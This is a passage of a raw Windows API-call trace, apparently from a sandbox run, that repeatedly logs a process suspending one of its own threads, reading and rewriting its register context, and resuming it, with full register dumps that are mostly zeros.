LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0144.855] ResumeThread (hThread=0x144) returned 0x1 [0144.855] CloseHandle (hObject=0x144) returned 1 [0144.855] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0144.960] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0145.111] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x144) returned 1 [0145.111] SuspendThread (hThread=0x144) returned 0x0 [0145.111] GetThreadContext (in: hThread=0x144, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10213, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f818, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f92f0a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0145.113] SetThreadContext (hThread=0x144, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10213, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f810, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0145.113] ResumeThread (hThread=0x144) returned 0x1 [0145.114] CloseHandle (hObject=0x144) returned 1 [0145.114] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0145.235] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0145.342] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x144) returned 1 [0145.343] SuspendThread (hThread=0x144) returned 0x0 [0145.343] GetThreadContext (in: hThread=0x144, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f858, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f8c04a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0145.344] SetThreadContext (hThread=0x144, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f850, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0145.344] ResumeThread (hThread=0x144) returned 0x1 [0145.344] CloseHandle (hObject=0x144) returned 1 [0145.344] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0145.456] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0145.520] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0145.563] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0145.685] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x198) returned 1 [0145.685] SuspendThread (hThread=0x198) returned 0x0 [0145.685] GetThreadContext (in: hThread=0x198, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f690, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f812ffd, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, 